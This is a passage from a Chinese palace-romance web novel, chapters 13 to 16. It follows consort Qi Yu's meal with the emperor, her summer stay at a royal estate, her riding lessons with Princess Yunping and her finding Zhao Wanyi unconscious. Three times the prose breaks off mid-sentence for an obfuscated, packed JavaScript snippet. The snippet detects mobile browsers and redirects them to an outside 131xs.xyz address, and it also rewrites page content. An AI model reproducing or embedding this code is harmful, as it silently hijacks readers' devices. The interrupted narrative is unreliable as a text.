虽然夏天不适合煲汤喝,但想到乌时晏畏寒的体质,她让御厨做了好几盅,务必要在上膳前再从炉子上拿下来,热腾腾地端到乌时晏面前。 戚妤爱吃肉,想来乌时晏也是多多益善,不然不会在寒毒的折磨下身形还如常人一般。 等膳食准备的差不多了,戚妤便让人去请乌时晏。 宫人刚出昭阳殿,乌时晏便到了。 戚妤有些惊讶,与锦榕姑姑一起朝乌时晏行礼,因为起身的急,发上的簪子还没来得及插好,从柔顺的发髻中滑落。 乌时晏握住金簪,递给了戚妤。 戚妤接住后,又给了宫娥,宫娥上前为她簪好。 整套动作行云流水,能不动手绝不动手。 乌时晏眼底划过一丝迟钝的明悟。 戚妤道:“陛下,臣妾让人传膳。” 她带着乌时晏落座。 说来,她鲜少与乌时晏一同用膳,往常乌时晏都是晚上天色暗淡时才来,早上天不亮就去上早朝了。 这还是第一次乌时晏到昭阳殿来用膳。 戚妤没有敷衍了事,光是膳食摆了满满一大桌就能看出来了。 “这是什么?”乌时晏拿起一块点心问。 戚妤:“面包,臣妾让厨子用蜂蜜做的,甜而不腻,陛下尝尝。” 乌时晏没有丝毫犹豫,尝了一口,确实没有很甜。 “如果想要再甜些,可以抹上果酱。” 乌时晏觉得味道适中,就没有用戚妤献宝捧上来的果酱。 戚妤见此,半点不失望的将果酱放到一边,这可是她好不容易才熬出来一罐的,乌时晏不用,正合她心。 戚妤兴致盎然地继续将她研究的一些菜介绍给乌时晏。 得一句不错,她便很高兴。 虽说宫娥常对她夸夸,可这认可来自皇帝,总归更让人自得。 满宫都知道,乌时晏这个陛下相当难搞,虽居深宫,但明见万里,鲜少有事能瞒过他。 因此这京中的流言才没那么肆无忌惮。 若是早上刚议论了陛下的喜好,下午自家夫君就丢失了官帽可就得不偿失了。 况且其中还牵扯一个裴大人,自然能叫人再三斟酌才开口。 所以乌时晏这人口中的不错,就是极好的意思了。 说是用膳,也当真只是用膳。 戚妤没有掺杂半点歪心思,用过膳后,两人移步,宫人奉上茶解腻。 同时,一阵凉风袭来,是天气渐热,昭阳殿用上了冰鉴。 好在京师从未有过酷热难耐的日子,即便是夏天也不会热的离谱。 戚妤怕热。 这是乌时晏知道的,他想了想道:“若是贵妃觉得宫里无趣,可以去京外的皇庄小住,那里依山傍水环境清凉,还可以在庄子上亲自采摘果蔬。” “可以吗?”戚妤眼睛微微一亮,不过她犹豫道,“可臣妾有宫务在身,恐怕不能久离皇宫。” 乌时晏:“自然可以,皇庄离皇宫不远,派个会骑马的太监,来回并不碍事。” 听乌时晏的意思,即便她去皇庄度假,宫务也还是她的。 但戚妤不觉得压榨,和宫权能带来的好处相比,那点宫务所受的操劳也就不算什么了。 况且,她手边还有人用,大部分情况下只需她拿个主意就好。 她还没傻到在乌时晏都不在意的情况下把宫权往外推。 戚妤欣喜道:“那就这样办,五月底臣妾再去庄子吧,左右现在不热,臣妾也得好好准备一番。” 乌时晏默许着。 戚妤已经开始计划让宫里的绣娘多做些夏天穿的衣裳,她惯用的物件不能落下。 当然,工匠也得带去,皇庄里面的工匠应是没有宫里的好。 若真有山有水,她还可以钓鱼、采野菜,野外烤肉和做甜水喝。 以前寻常妃子应是不能随意出宫,但耐不出乌时晏的妃子少,就不能以常理论之了。 满宫都是乌时晏的一言堂,他说什么就是什么,他定下的,也容不得旁人置喙。 戚妤已经开始对去庄子上的日子期待了起来,看乌时晏自然极其顺眼。 她极力回忆了乌时晏用膳时的口味,发现他喜欢吃酸甜口的肉,喜欢喝酸甜口的汤,相比其他菜式多用了几口。 菜的样式一多,就连戚妤都免不了每道都用些,乌时晏多吃几口,便也足见喜欢了。 戚妤道:“若是陛下喜欢昭阳殿的菜,不妨将御厨带走,为陛下做菜?这样陛下也能多用一些了。” 昭阳殿原本没有特定的御厨,但戚妤一看昭阳殿有小厨房,自然按耐不住点菜的心思,便从御膳房选了一名能精准领会她意思的厨子,久而久之就成了昭阳殿的人了。 见戚妤虽然纠结,但却极力向他展示大方的样子,乌时晏眼中有了久违温度:“御厨留在昭阳殿才能发挥出大作用。” 戚妤闻言悄然坐直了,端方起来。 没错,是她让御厨发挥了大作用! 这一顿饭戚妤自认为是吃的宾主尽欢,乌时晏又过了一会儿,方回宣室殿处理朝政。 此时离五月底还有小半个月。 在这期间,乌时晏自然来了几次昭阳殿,和前几次没什么不同。 戚妤这个宠妃名头越发稳固,乌时晏以实际行动按下了流言。 若这般还能再攀扯上赵婉仪与裴谨,那就是对陛下不敬,对贵妃不敬了。 唯独最后一次,因第二天戚妤就要去庄子上,心情已经先自由了许多,像飞出笼子的鸟,她面色温软,浅笑着看宫娥们相互打趣。 能出宫,要数昭阳殿的宫人最高兴了。 戚妤没想到乌时晏这个时候会来,自然没让人提前去候着,给她通传消息。 以至于乌时晏走进了昭阳殿她还没发现。 戚妤正拿那日赵婉仪递给她的帕子覆到脸上,帕子早已被洗干净,原本的香气变得浅淡,她便让锦榕姑姑又熏了一遍,勉强锁住了香气,但又有些不同。 她对赵婉仪有着说不明的亲近,她给的帕子自也时时惦记着。 戚妤轻嗅着,帕子从脸上滑落至双手,她这才发现了乌时晏。 乌时晏定定地瞧着这一幕。 他想,他大概只喜欢这张脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127939|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不然帕子缓缓滑落,戚妤的眼睛、鼻子、嘴巴露出来时他为什么这样欢喜又期待? 仿佛能感受到帕子滑过她脸庞,带走属于她肌肤上的一丝温度。 明明没有碰到,但那丝温度却落在了他心底。 乌时晏从不觉得自己可耻,无论是喜欢上有夫之妇,还是挑明此事,自此君不君,臣不臣。 但现在,他却觉得自己不知廉耻,竟然昏聩至此,喜欢上了…… 明明他完全分得清。 乌时晏越想越偏执。 戚妤自见到乌时晏便连忙收了帕子,可即便这样,乌时晏的气息还是危险了起来,他皱着眉头,眉梢冷峻,目光沉沉,唇角下压,心情是显而易见的不好。 昭阳殿的宫人俱噤了声。 “陛下?”戚妤上前,轻声唤他。 乌时晏没有丝毫反应。 戚妤犹豫了一会儿,低眉将帕子递了出来。 乌时晏眼中的浓黑褪去,他按了按手心:“为何要给朕帕子?” 戚妤抬眼,不明所以道:“陛下不是因为臣妾拿了这条帕子而生气吗?” 这是赵婉仪的帕子,乌时晏定也有印象,除此之外,她真不知道还有什么能引得乌时晏情绪波动了。 如果赵婉仪再送她什么东西,那她一定藏好,不让乌时晏发现。 “这条帕子怎么了?” 乌时晏更不明白了,若是寻常,他收一条戚妤喜欢到放到脸上的帕子收就收了,但眼下,这条帕子分明暗藏玄机。 戚妤眨了眨眼,暗示道:“这是赵……的帕子。” 顾及着宫人在场,戚妤没说太明白。 眼见着乌时晏的眼神清明,想是反应过来了,她才轻舒了一口气。 不过乌时晏方才摸不清状况的样子太明显,戚妤也后知后觉意识到他好像并未认出这条帕子的主人。 戚妤沉默又探寻地看向乌时晏。 乌时晏按了按眉心:“朕方才是对一件朝中之事忽然有了想法。” 戚妤为前朝的大臣默哀了一秒,方才乌时晏的气息可不算好。 有一个到后宫都想着政事的皇帝,大臣们也不必面对报国无门的窘境了。 “那这帕子?”戚妤恋恋不舍的看着,不必想她定是要与它分别了。 乌时晏道:“宫外之物就收起来罢,朕再让人为你制一百条。” 戚妤着实惊到了,乌时晏竟然没要走? 她愣愣地道了声好。 不知不觉间,昭阳殿的气氛又恢复如常,戚妤去沐浴过后,便与乌时晏同往日那般安寝。 殿内留了几盏灯,能看出身边人脸上落下的阴影。 戚妤方才都没有被吓到,还能安抚下乌时晏,现在与乌时晏躺在一张床上更是早早就适应了,在灭掉了大部分烛光后,她很快就睡了过去。 只余乌时晏睁开了眼睛,不知道在想什么。 良久,他看向戚妤。 他不后悔让戚妤去庄子上小住,许是等她回宫,他就能看清自己的心了,到时也不迟。 许是寒毒时不时发作带来蚀骨的疼,他习惯性把喜欢的人或事往后放放,因为忍过了疼,之后会更甜。 14. 第 14 章 翌日,晓风伴残月,晨光初熹。 戚妤醒来后,见天色微明,下意识朝身边看去。 果然,乌时晏没走,他今日不用上朝,可以不必伴着天际未明时的晨露离开,她也没有因此被吵醒,得以完全睡透,直至现在才醒来。 戚妤心中浮起淡淡的满足,一想到这样的日子会在去皇庄后每日都会发生,就对今早的出宫有了无限憧憬。 许是察觉到戚妤的视线,乌时晏睁开眼,眼中很是清明,不见睡了一宿过后的迷蒙。 戚妤边将视线移走,边腹诽着,怪不得乌时晏树敌那么多还好好的,实在是警觉性太好了。 她的目光也不过在他身上停了一瞬,就被发现了。 戚妤没有如往常一样懒洋洋的再躺会儿,而是当下便起身了。 听到殿内的动静,昭阳殿与乌时晏身边的宫人这才进来,服侍各自的主子。 戚妤穿着寝衣由宫娥给她梳头,等挽好了发髻,这才去洗漱换衣。 接着继续坐在妆奁的铜镜前,由宫娥给她上妆插簪。 戚妤一如往日般将这些事全权交给了宫娥,只需微微仰着脸坐着不动。 乌时晏要快很多,在她还等着上唇脂,画黛眉时,他就已经一身宽袖长袍,长身鹤立站在她面前。 戚妤投以困惑的眼神。 陛下乍然出现在这里,宫娥心中忐忑,手上的动作都不稳了。 见此,乌时晏干脆接过宫娥手上的螺黛,试探着在空中划了两下,而后对戚妤道:“别动。” 戚妤自他接住螺黛后就警惕了起来,见他真有在她眉上试的意思,立刻就炸毛了。 她捂住眉,言辞恳切道:“陛下,这种小事让宫娥来做就好,何须您亲自动手?” 乌时晏却道:“朕觉得画眉是件大事。” 戚妤觉得乌时晏定是想让她丢脸,恐怕是昨晚朝堂上的事让他到现在气都没消,所以来折腾她了。 她都不懂画眉,乌时晏怎么会懂? 乌时晏握螺黛的手停在戚妤面前,商议道:“若让朕画两笔,朕可以给你一名暗卫,上次的林七如何?她的轻功是个中翘楚。” 戚妤犹豫着将手慢慢放了下来。 林七她是真的想要,体贴又知无不言。 万一她在宫外倒霉遇见危险,侍卫与宫人都不顶用的情况下,林七则能保证她的安全。 戚妤抿唇道:“只能画两笔。” 只画两笔,宫娥许是能描补回来,不至于需要重新净脸。 乌时晏点了点头,他目光细致地落到戚妤的脸上,正大光明仔细看着,似在端详落笔的位置。 戚妤的心也跟着他紧张起来。 乌时晏开始画眉时,戚妤已经忘了约定好的只能画两笔,任由他一笔又一笔轻轻描着。 因为乌时晏,好像真的会画眉。 戚妤用余光看向铜镜,镜中侧身的女子眉形一点点出挑起来,配上一双清眸流盼,眉眼如画的味道便显露了出来。 乌时晏画完眉就将螺黛放到了案几上。 宫娥上前,为戚妤上好口脂。 戚妤注意到这点,渐渐放下心来。 乌时晏只画眉,想来是技痒,而非其他什么原因。 不然白送给她一个林七,她真要以为乌时晏图谋不轨了。 去皇庄要带的行李早早就备好了,戚妤带了好几辆大马车、昭阳殿一半的宫人、厨子、工匠,与乌时晏拨给她只听她命令的侍卫。 一行人浩浩荡荡经过宫道,出了宫门,往京城外的皇庄驶去。 在经过一条街时,戚妤乘坐的马车帘子忽然动了一下,旋即车内的佩玖惊呼一声,队伍为首的侍卫骤然拔剑:“贵妃娘娘,可有事?” 戚妤将帘子掀开,露出马车内大半空间:“无事,是陛下派给本宫的人到了,继续行驶。” 侍卫收剑抱拳称诺,他也确实看到了马车内多出了一名身形单薄,但极为高挑、玄色衣衫的女子。 而那名女子恭敬地对贵妃娘娘垂首,贵妃娘娘也没有任何被威胁的意思。 侍卫放下戒心,重新领队出发。 马车内,戚妤对佩玖道:“这是林七。” 锦榕姑姑习惯呆在昭阳殿,所以并未随她出宫。 佩玖脸红红的,早上她明明听到陛下要给娘娘一名暗卫,结果人真到了,她却一惊一乍。 戚妤又为林七介绍了佩玖:“她是我身边的大宫女,也是我信赖的人。” 佩玖朝林七笑了笑,林七冷淡点了点头。 佩玖也不恼,林七一看就是这种性格,且还不会媚主,林七的职责是保护好娘娘,那她何苦敌视她要与她争个高低? 一个时辰后,马车停到一个庄子前。 已经有人早早将大门打开,候到此处,戚妤被佩玖扶下马车后,先是环顾了一圈。 这个庄子占地面积并不大,虽比不上宫里的雕梁画栋,但也是红门高墙,门前立有两个石狮子,地上铺着灰色砖块,地面被扫的一尘不染。 管理庄子的人也是从宫里出来的,是三十岁左右的一名妇人。 她道:“奴婢名唤陈月娘,娘娘叫奴婢月娘即可,娘娘舟车劳顿,现在是先歇晌,还是由奴婢带您熟悉一下庄子?” 戚妤在马车上已经歇过了,现在对庄子的好奇占了上风,她道:“本宫不累,派一个熟悉庄子的丫头随本宫转一转就好,月娘你则替本宫安顿好本宫的人。” 陈月娘称诺。 陈月娘引戚妤进入庄子,让人去唤了她小名叫兰兰的女儿。 兰兰是个八九岁的小姑娘,瞧着很机灵,在戚妤面前也不怵,收到命令便与她们绕过住宅逛了起来。 戚妤带着佩玖,林七则在她下马车时就隐在了暗处。 她们穿过一个曲廊,景色慢慢显露了出来。 这里不愧为皇庄,庄子内的景致以江南园林为主,所见之处,草木葳蕤,怪石嶙峋,景色俱透着自然意趣。 更有一条溪流经过庄子,溪水淙淙,在太阳底下水光潋滟,戚妤甚至在溪里看见了鱼,腾跃而起又顺着水势往下流游去。 兰兰活波道:“娘娘,除了这条溪流,庄子内还有一个池子,池子内养着数条漂亮的锦鲤,娘娘可要去看看?” 戚妤点了点头。 她们走过木桥,穿过拱门,停在了一个亭子处,面前就是养锦鲤的大池,池里的锦鲤个头很大,一甩尾就有水被冲击到亭子的外壁上。 戚妤只一眼便喜欢上了这池子里的鱼,强壮矫健,瞧这鱼尾,多有力。 她之后可以在这里喂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127940|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼,且因为庄子内的绿植多,凉风习习,此处一点都不热。 兰兰道:“庄子上这半个月来一直在修缮,原本是没有这个池子的,更没有锦鲤,可短短几天,就什么都有了。” “奴婢还听说,庄子上还送来了几匹马,连养马、驯马人都有了,好在庄子后面依山,很宽阔,马能跑下。” 佩玖惊讶道:“陛下从未说过这些。” 不必想,这些都是陛下安排的,为的就是让娘娘住的舒适。 戚妤问兰兰:“庄子上还有什么?” 兰兰道:“还有地里长的,树上挂的,娘说等贵人来许是想亲自采摘,便做主仍留在树上许多,又捡了好的装到盘子里来接待贵人。” 她双眼明亮:“娘娘便是奴婢的娘口中所说的贵人吧?” 戚妤摸了摸兰兰毛茸茸的头:“我确实要在这里住一段时间。” 她们又往后面走,经过了花园竹林,面前的土地开阔起来,除了辟出一小块地种上蔬菜外,其他平坦的土地都种上了粮食。 梨树枣树桃树石榴树等果树则种在不那么平坦的短坡上。 沿着墙边,支了木架,爬有葡萄藤。 戚妤越看越喜欢,当然,她也见到了庄子上的马,个个油光水滑,个头由低到高排着,俱是一等一的温顺。 每匹都是良驹,自然区别于他们用来拉车的马。 在养马人的指导下,戚妤上手给每一匹马都喂了草。 它们也极给面子地低头吃了。 最终,兰兰带着戚妤到溪边洗了手,她见宫里的娘娘不嫌此举不雅,反而还主动拨弄起溪水来,便提议道:“如果娘娘不介意,奴婢还可以带娘娘上山挖菌子。” 戚妤看向她:“上山?” 贵人的视线落到她身上,兰兰忍不住微红了脸:“就是后山,一点都不危险,已经被踩出好几条路了,但奴婢知道哪里有菌子,别人都没发现。” 戚妤眼睛发亮地看向她,郑重将手按在了兰兰的肩膀上,认真道:“我要用十两雇你一个月,若我玩儿的高兴,也有赏银。” 兰兰兴奋地都要跳起来了,宫里来的娘娘不仅亲和,还点名要雇她。 她一个小孩,做些事连她娘都没放在心上,但在贵人眼里,却是值十两的! 戚妤困倦地捂了一下嘴,在庄子上不必受宫里规矩礼仪的拘束,她懒散的像只猫。 她看着兰兰笑了笑:“院子应是收拾好了,我们回去吧。” 兰兰努力稳重起来,带着戚妤往住宅走去。 戚妤住在主院,上面落有雁归二字,内里的景致比方才见到的有过之而无不及,这里有一个浅湖,里面种着大片粉色荷花,开了三分之一左右,迎面而来的绿意盎然。 等回了屋,她手边俱是用惯了的物件,不需要任何适应。 戚妤将钱匣抱出来,数了十两:“本宫先把月钱给你,你要对本宫更上心些。” 兰兰原本还惶恐贵人多忘事,这下再没有忧虑了,即便贵人现在自称本宫,但在她心里还是天底下最好的好人! 她自是连连点头。 给了银子,戚妤就摆手让兰兰走了。 宫人有条不紊地上前奉茶,为戚妤擦汗,她支着头,视线穿过支起的窗棂,可以看到外面的莲花池。 15. 第 15 章 下午,月娘来向戚妤汇报庄子上的事。 戚妤手边放着一串洗过的葡萄,果粒饱满,果肉细腻紧实,剥开皮后清香扑鼻。 手指最漂亮的宫娥给她剥好后,喂到她嘴边。 戚妤深感自己的堕落,在月娘来之后就轻轻按下了宫娥的手。 她听着月娘说庄子上一个月的耗费,养了多少下人,几匹马,慢慢竟侃侃而谈起那些果树什么时候结什么果。 戚妤翻开账本,一目十行看下去,在宫里的账本看多了,她也熟稔其中的门道。 见没问题,她将账本放到桌子上,月娘见此也止了声。 戚妤柔声道:“做的很好。” 佩玖上前给月娘递了赏银。 “本宫在这庄子上避暑期间,还需要你多费心。” 月娘含笑:“这是奴婢应该做的。” 送走月娘,半个时辰后,下人禀报隔壁庄子上派婢女送来了些膳食。 戚妤面露疑惑,让人将其请了进来。 进到院子内的是两名女子,一名腰上佩有代表宫中女官的令牌,身着窄袖长衣,行动间很是干练,另一名跟在她身后的女子则显得稚嫩,脸颊有点圆润,抱着食盒,穿着锦衣,一看就是大户人家富养出的婢女。 待两人进了屋,只听为首的女子屈膝道:“奴婢霜枝,是云平公主身边的贴身侍女。前些日子公主到了云琉山庄散心,今日听闻贵妃娘娘到了沧澜山庄,便派奴婢特来拜访。公主身边只有一个醉仙楼的厨子还算得心,便特意做了些膳食送来请娘娘品尝。” 戚妤在见到霜枝的腰牌便心里有数了。 女官只有皇室近支才会有。 譬如她,譬如太后,再譬如云平公主。 因为她初封贵妃时昭阳殿除了锦榕姑姑并没有女官,她后来便提拔了佩玖,只是佩玖资历浅,女官品级不会太高。 云平公主乌时云在她入宫后不久就出宫建府了,更在京中办了两场赏花宴,一时间风头无两。 戚妤只见过这位公主寥寥几面,记得她是个肤白纤弱的女子,除此之外再无印象。 不过想来宫中养出来的公主也不会毫无城府,只是习惯了在宫内以无害示人。 戚妤住的这个庄子名唤沧澜,确实与云琉山庄比邻而居,且同为皇庄,但中间的距离绝不算短。 云平公主怎就惦记起了她? 戚妤笑道:“公主有心了,本宫尝惯了御厨的手艺,对京中颇受欢迎的醉仙楼的菜品倒真心生好奇。云平来庄子上散心,可是有什么烦扰?” 霜枝一个移眸让婢女将食盒放到桌子上,仔细回道:“并未,只是庄子上养有公主喜爱的马驹,公主正是为这而来。公主还说,如果娘娘一个人无趣,可唤公主相陪。” 戚妤闻言,想到她这个庄子上也养有良驹,若有时间,倒可以学一学骑马。 骑射正是京中女郎追捧的技能之一。 戚妤道:“若本宫得了有趣的东西,定唤公主鉴赏。” 戚妤没有拒绝,云平公主有心与她交好,她何必拒之门外,不过一个金尊玉贵的小姑娘罢了。 只是戚妤很疑惑,云平公主的赏花宴两次都邀请了赵婉仪,并在一次席间为了赵婉仪下了一位夫人的脸面。 可见她是知道乌时晏倾心的是谁这事。 但乌时云却在这种时候离京到庄子上小住,虽然她到庄子上避暑并不是秘密,但云平公主未免来得太及时了。 赵婉仪可还在京城呢。 霜枝与带来的婢女一起告退,回去向云平公主复命。 宫人上前将膳食摆出来,每道菜的色泽都很让人有食欲。 现在也快到了用晚膳的时候,戚妤有些饿了,便让人取来筷子,品尝起来。 不过尝了几口,她就明白,为什么云平公主要给她送膳食。 实在宫内与宫外的口味差别相当大,而醉仙楼的厨子手艺最好。 心满意足用过了晚膳,戚妤不再想云平公主的意图,左右是对方对她投其所好,她见机行事便是了。 戚妤在院子的廊下转了几圈,沐浴过后便入睡了。 这里的床自然不如昭阳殿的大,但伴着荷花清香与淡淡的驱蚊草药味,她很快就沉沉睡去。 第二天,戚妤换了一身利落的衣裳,没有佩戴多余的佩饰。 打开窗,清新的青草混着泥土味扑面而来。 早上,戚妤是在庄子里度过的,摘果蔬,喂鱼,喝茶,一上午的时间便消磨殆尽。 下午,兰兰来找戚妤,一起相约上山。 戚妤正是对什么都好奇,对什么对有劲儿的时候,当即便应下了,拿着小锄头,由佩玖背上背篓便上山了。 兰兰经常上山,知道什么能吃,什么能入药。 今早没下雨,蘑菇自然没有冒出来,于是她们便挖起了野菜,与晒干后泡来可以消暑解热的花。 兰兰只说等下次早晨下过雨,必会有野蘑菇。 山上路径附近许是走过的人多了,一个大点的动物都没有,多是小虫小雀。 就在戚妤以为遇不到野味时,一道灰影子忽然在视野范围内闪过。 戚妤忙探看去:“那是什么?” 兰兰有经验道:“野兔,不过这东西跑得过,不好逮。” 戚妤闻言跃跃欲试追了出去。 野兔沉着冷静,纵然察觉了身后有人在追逐,也不受丝毫影响,反而忽快忽慢,就是让人逮不住。 怪不得它能长的这么肥美,还嚣张的出现在人前。 戚妤有点泄气,忿忿道:“臭兔子。” 在她话音刚落,一个石子凭空射向野兔,野兔没有防备,或者说石子太快,根本避无可避,砰一下就栽倒在了地上。 戚妤眼睛一亮,飞快地跑上前,将野兔提起来。 佩玖追上来,惊讶道:“娘娘,您抓到兔子了?” 戚妤眉眼弯弯,喜滋滋道:“是林七,她用石子打停了兔子。” 暗处的林七忽然一怔,她确实有心帮戚妤,但野兔面前就是木桩,其他人只会以为野兔误撞向了木桩,而非被石子击晕。 但偏偏,戚妤能看出石头的轨迹,从而发现是她出手。 野兔便是这一行最大的收获,戚妤没再强求其他,下了山。 等回到山庄,听到宫人禀报,她才知道下午云平公主身边的霜枝又来了一次,不过这次带的是只小狗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127941|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 见戚妤没在,将小狗安置好后便离开了。 戚妤先去看了小狗,它背部的毛发是土黄色,腹部则是白色,约莫几个月大,长相憨厚,因为爪子与舌头都是粉粉的,别有一种可爱。 现在小家伙卧在临时搭的小窝里,目光怯怯,很是认生。 戚妤见此不由生出了几分怜意,摸了摸它蓬松的毛发。 宫人见自家娘娘的模样,便知道这只小狗会留下来。 戚妤道:“让厨房做几道宫里的菜,送到公主的庄子上去,想来公主出宫这几个月,定也惦念宫里的手艺。” 宫人称诺。 戚妤又在这里呆了一会儿,陪着小狗玩,又看着它吃完肉,这才后知后觉吩咐人将它的窝挪到她的院子里。 以便能时时见到它。 她又让匠人打几个小狗的玩具。 宫人闻言从箱笼中找出一个布老虎,戚妤递给小狗,小狗将布老虎压在爪下,低头用布老虎磨了磨牙。 戚妤情不自禁笑了起来:“好乖。” 用晚膳时,戚妤都心不在焉的,唯恐小家伙冷了饿了。 云平公主的礼物可当真送到了她的心坎上,而且庄子够大,小狗撒欢也能跑的开。 之后几天,戚妤日渐沉迷小狗,小狗送来时就有了名字,叫金奴,戚妤便常唤它小金。 小金是个女孩子,性格也好,熟悉以后就对戚妤露起了肚皮。 因为小金,戚妤与云平公主熟络了起来。 也知道云平公主守在她山庄旁是因为她庄子上的几匹良驹。 没多久,就按耐不住亲自登门了。 戚妤带她去见了马。 乌时云不可思议道:“陛下居然将这几匹马送给了皇嫂。” 即便先前已经得到消息,但真正见到这一幕,还是让她倍感惊讶。 这也是为什么她愿意蹲守在云琉山庄,等戚妤搬进来后,一步步拉近关系。 戚妤的重点则落在乌时云的那声皇嫂上,若没记错的话,乌时云第一次见她时是尊敬地唤她瑜贵妃娘娘。 而皇嫂这种暧昧的称呼,不应该落到进宫后的赵婉仪身上吗? 不过也可能是乌时云现在太激动,因而这般唤她。 戚妤问:“这几匹马有何玄机?” 乌时云道:“这两匹刚成年的马是陛下那匹白蹄乌的孩子,不仅骁勇善战,还能日行千里,它的后代天生便血脉不凡,又经高超的驯马人教导,已经成了难得的好马。” 但是这样的马,戚妤有好几匹。 纵使乌时云知道现在太平盛世,这些马不必奔袭战场,但她没想到皇兄竟然给了贵妃。 甚至没对贵妃说这些马的来历,任由这些马在马厩里蹉跎。 戚妤能看出马好,但没想到这么好,不过她前阵子才从乌时晏的私库得了一批宝物,现在心情虽然激荡,但只是感叹着皇室的富庶。 本来今日就是要学骑马的,注意到云平的眼神,戚妤道:“你若喜欢,可以挑一匹来骑。” 乌时云浅笑着,脸上洋溢着高兴的神采:“那我就恭敬不如从命了,皇嫂可唤我时云。” 戚妤从善如流:“好,时云。” 16. 第 16 章 第一日骑马时,戚妤还得让女师父扶着上马,由人牵着马慢慢适应。 而乌时云,已经飒沓地翻身上马,拉着缰绳,目视前方,由快到慢的跑了起来。 明明是那么柔弱的女子,此刻却挺直脊背,手臂绷紧,手上的筋骨也握的发白,身上有一种说不出的潇洒。 戚妤看向乌时云,眼中流露出钦佩与向往。 她低头,更认真了起来。 绝不要被人甩在后面。 纵使是再不擅长的事,只要自己有兴趣,就一定要学出彩。 就如宫务一样,真正上手后才发现,其实也没那么难。 这一日,戚妤学到了深夜,伴着清冷的月辉离开。 回到院落,简单沐浴过后,宫娥找来药膏为她上药,她趴在床上,清凉的药膏敷在微微渗血的皮肤上,她竟然不知不觉间黑沉沉睡去。 第二天,戚妤不见疲惫,和小金玩过握手后,继续神采奕奕去骑马。 不知几个日夜,戚妤一遍遍练习,终于勉强赶上了乌时云的进度。 乌时云道:“皇嫂,这是我学了好几年的成果,您几天便赶上,真是让人不快。” 戚妤笑眯眯捏了捏她的脸颊:“我就当这是时云夸我的。” 乌时云嘀咕道:“生不逢时,这样拥有夸张天赋的居然有好几个人……偏我自己不是。” 皇兄自然算一个,当年离开京师前,皇兄的武功在几位皇子中只能称为中上,当年父皇根本没把皇兄当作继承人培养,自然多有溺爱,但谁能想到,最后有能力平乱的却是最不被看好的七皇子。 皇兄当初的封地本来在富庶的南方,最后却因各方势力博弈,父皇年老,最终落在了苦寒之地。 可偏偏,皇兄在那种境况下,将自己给磨练出来了,硬生生拉出了一支悍不畏死的军队。 除此之外,裴谨、赵婉仪当然也是天赋奇绝之辈,两人文采斐然,才思敏捷,皆是过目不忘之徒。 裴谨是人人皆知的大官,赵婉仪的名气则小些,因她非京城人士,又安于内宅,不爱出风头才让世人不知道她的才情。 但乌时云和这位裴夫人接触过两次,很敏锐的察觉出了赵婉仪的才气不输有名的才子。 当然,京中还有其他天赋绝伦之辈。 现在,又多了一个戚妤。 戚妤正凝神坐在马背上,拉扯缰绳,重新跑了起来,并未听到乌时云的话。 风逆着吹来,吹得衣袖猎猎作响。 她骑的是匹大马,大马矫健的跑起来,将力量发挥到了极致,马身上每一寸骨骼与肌肉都极其硕美,堪称一副画。 亦衬得驾驭大马的戚妤眉眼冷峻,气质孤傲。 乌时云见状,连忙抛开杂念,追上戚妤。 两人骑马都喜拼个快慢,庄子上已经容不下两人,她们便带着侍卫出了庄子,在附近无人的山上的跑起来。 那山路,正是戚妤入京时经过的地界,虽是山路,但很平坦,道路两旁是郁郁葱葱的树林,阳光透过高处枝桠的空隙倾泻而下。 戚妤与乌时云约定好背向而驶绕着山跑两圈,再看谁先回到庄子上。 在乌时云道了一声开始后,戚妤拉起缰绳便骑马跑起来。 两人如离弦的箭一般背道而驶。 因为看不到乌时云,不知道她的速度如何,戚妤一刻也不敢停歇。 等绕到第二圈,再次与乌时云擦肩而过后,两人均默契地加快了速度。 戚妤凝神贯注,却在经过一个矮树丛时,忽然瞧见了一片浅紫色布料。 这在第一圈还没有,而且那形状像个人。 马还在奋力地往前跑,戚妤蹙眉想了想,终是拉住缰绳,折返回去,下了马去查看。 等走近,她这才看清楚,那就是一个趴在地上的人,看身形,还是名女子。 戚妤忽然觉得熟悉,但她接触过的女子基本没可能出现在这里。 她上前扶起昏迷的女子,拂开发丝。 是赵婉仪! 戚妤内心愕然。 她顾不得思考赵婉仪为什么会在这里,又为什么会昏迷,拾起赵婉仪掉落的遮脸的白色巾帕,急忙唤林七。 林七悄无声息出现。 戚妤转头看见林七,让林七搭把手帮她将赵婉仪扶上马。 而后她才翻身上马,将赵婉仪圈在怀里,便往庄子的方向疾驰而去。 乌时云先戚妤一步抵达山庄,还没等她高兴,便见到了戚妤怀里的人,神情立刻凝重了起来。 戚妤没管乌时云,让人通知御医先去候着,并让宫人将赵婉仪扶进去。 